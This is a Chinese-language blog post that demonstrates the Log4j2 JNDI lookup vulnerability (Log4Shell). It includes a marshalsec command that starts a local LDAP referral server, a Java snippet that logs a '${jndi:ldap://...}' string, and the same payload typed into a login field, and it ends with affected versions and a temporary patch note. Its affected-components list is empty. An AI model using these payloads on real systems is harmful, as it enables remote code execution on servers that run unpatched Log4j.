Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。
作为 Java 日志界的扛把子,Log4j 和 Logback 几乎一统了江湖,影响面不可谓不广,下面我们就来亲身用代码来体会一下这个漏洞。
此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者灵活的读取环境中的配置。
简单点说,就是 log.info("{}",value) 这行代码中,{} 里的变量可以写一个命令,但是后端参数内容未做严格的控制,导致在打印日志的时候触发了这个漏洞。
下面我们来演示下这个漏洞。
首先我们使用 marshalsec 工具在本地启动一个 ldap 服务器(命令中的 jar 包可在公众号回复 log4j 获取)
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8086/static/#Exploit 8888
然后在本地做一个小型的 Java 项目,使用 log4j2 打印一行神器的日志:
public static void main(String[] args) {
log.info("start");
String userName = "${jndi:ldap://0.0.0.0:8888/aaa}";
log.info("userName:{}",userName);
}
结果是:
2021-12-10 20:24:35,678 [main] INFO logger - start
2021-12-10 20:24:35,678 [main] INFO logger - userName:Reference Class Name: foo
打印的是后端 LDAP 服务器的输出,而不是一个正儿八经的字符串,这就很可怕了,这意味着攻击者可以自定义任何的恶意代码执行,只要业务系统代码中有此类变量的打印。
比如用户在登录页面上输入了类似 ${jndi:ldap://0.0.0.0:8888/Exploit} ,前后端没有做过校验,而后端又在日志中打印了 userName 变量的时候,就会触发这个漏洞。
然后我们再去 ldap 服务器上看,果然有这个请求发过来:
image-20211210202724345
Log4j2.x <= 2.14.1
受影响的开源组件有:
临时修复方案:
目前 apache-log4j2 提供了一个临时的 log4j-2.15.0-rc2 补丁,此补丁功能是否完善还需要时间验证,只能等待官方发正式包。